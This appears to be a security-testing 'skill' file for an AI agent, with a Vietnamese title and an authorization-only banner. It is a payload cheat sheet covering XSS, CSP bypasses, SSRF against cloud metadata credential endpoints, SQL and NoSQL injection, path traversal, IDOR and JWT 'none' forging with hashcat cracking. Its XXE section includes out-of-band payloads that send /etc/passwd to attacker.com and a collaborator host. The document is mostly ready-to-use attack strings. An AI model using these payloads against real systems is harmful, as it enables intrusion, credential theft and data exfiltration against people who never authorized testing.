security-arsenal – skill Bảo mật cho agent AI

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

SECURITY ARSENAL

Payloads, bypass tables, wordlists, and submission rules.

---

Payload boundaries

These are parser/context-specific candidate fixtures, not guaranteed working exploits. Agree on exact hosts/accounts, attempt budget, request rate and stop conditions. Use owned synthetic records and authorized callback receivers; no live secret extraction, arbitrary resource claims or real-user request interception. Metadata/XXE/file payloads require explicit data-access scope; prefer a pre-positioned harmless canary. Smuggling can affect unrelated sessions and needs an isolated lab or specifically approved test window. Linked tools/patterns/wordlists are not bundled.

XSS PAYLOADS

Basic Probes

<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)

Non-sensitive proof of execution

<script>document.documentElement.dataset.authorizedCanary = 'unique-test-id'</script>

Use a unique canary in an owned test session. Do not collect live cookies or tokens. HttpOnly cookies cannot be read with document.cookie; script execution alone does not prove account takeover.

CSP Bypass Techniques

// fetch does not bypass script-src: an inline onerror remains blocked.
// connect-src also governs fetch destinations. Test an authorized canary under the real policy.

// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>

// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML reflection
// Vue v-html binding

// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>

DOM XSS Sources and Sinks

// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL

// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE) <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI
element.href = SOURCE
location.href = SOURCE

---

SSRF PAYLOADS

Cloud Metadata

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header: Metadata: true

Internal Service Fingerprinting

http://localhost:6379      # Redis (unauthenticated, RESP protocol)
http://localhost:9200      # Elasticsearch (/_cat/indices)
http://localhost:27017     # MongoDB (binary — check for connection refused vs timeout)
http://localhost:8080      # Admin panel
http://localhost:2375      # Docker API — GET /containers/json
https://10.96.0.1:443  # Kubernetes API server

SSRF IP Bypass Payloads

# All of these map to 127.0.0.1:
http://2130706433          # decimal
http://0177.0.0.1          # octal
http://0x7f.0x0.0x0.0x1   # hex
http://127.1               # short form
http://[::1]               # IPv6 loopback
http://[::ffff:127.0.0.1]  # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6

# DNS rebinding: A→external, then resolves to internal after allowlist check

# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://169.254.169.254/

---

SQL INJECTION PAYLOADS

Detection

'
''
`
')
'))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' UNION SELECT NULL--
'; WAITFOR DELAY '0:0:5'--   -- MSSQL time-based
'; SELECT SLEEP(5)--          -- MySQL time-based
' OR SLEEP(5)--

Union-Based (determine column count)

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--

Blind SQLi (time-based confirmation)

# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)--

WAF Bypass

/*!50000 SELECT*/ * FROM users     -- MySQL inline comment
SE/**/LECT * FROM users             -- comment injection
SeLeCt * FrOm uSeRs                -- case variation
%27 OR %271%27=%271                 -- URL encoding
ʼ OR ʼ1ʼ=ʼ1                       -- Unicode apostrophe

---

XXE PAYLOADS

Classic File Read

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

Blind OOB via HTTP (DNS confirmation)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>

Blind OOB via DNS + Data Exfil

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % data SYSTEM "file:///etc/passwd">
  <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
  %param1;
]>
<foo>&exfil;</foo>

XXE via DOCX/SVG/PDF Upload

• SVG: <image href="file:///etc/passwd" />
• DOCX: malicious XML in word/document.xml with external entity

---

PATH TRAVERSAL PAYLOADS

../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd   # double URL encoding
/etc/passwd%00.jpg                     # null byte truncation
....\/....\/etc/passwd                 # mix of separators

---

IDOR / AUTH BYPASS PAYLOADS

Horizontal Privilege Escalation

# Change numeric ID
GET /api/user/123/profile → GET /api/user/124/profile

# Change UUID (find victim UUID via other endpoints)
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...

# HTTP method swap
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)

# Old API version
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)

# Add parameter
GET /api/orders → GET /api/orders?user_id=456

Vertical Privilege Escalation

# Parameter pollution
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}

# Hidden fields
<input type="hidden" name="admin" value="true">
# Change in Burp before sending

# GraphQL introspection → find admin mutations
{"query": "{ __schema { types { name fields { name } } } }"}

---

AUTHENTICATION BYPASS PAYLOADS

JWT Attacks

# None algorithm
# Decode JWT, change alg to "none", remove signature
import base64, json
header = base64.urlsafe_b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.urlsafe_b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."

# Secret bruteforce
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt

OAuth Attacks

# Missing PKCE test
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# Code issuance alone is not a PKCE bypass; validate token exchange enforcement for that client.

# State parameter check
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# Missing state alone is not proof: PKCE/OIDC mechanisms may provide CSRF protection; demonstrate a cross-session action with owned accounts.

---

NOSQL INJECTION PAYLOADS (MongoDB)

Operator Injection (JSON body)

{"username": {"$ne": null}

… (nội dung đầy đủ có trong gói tải về)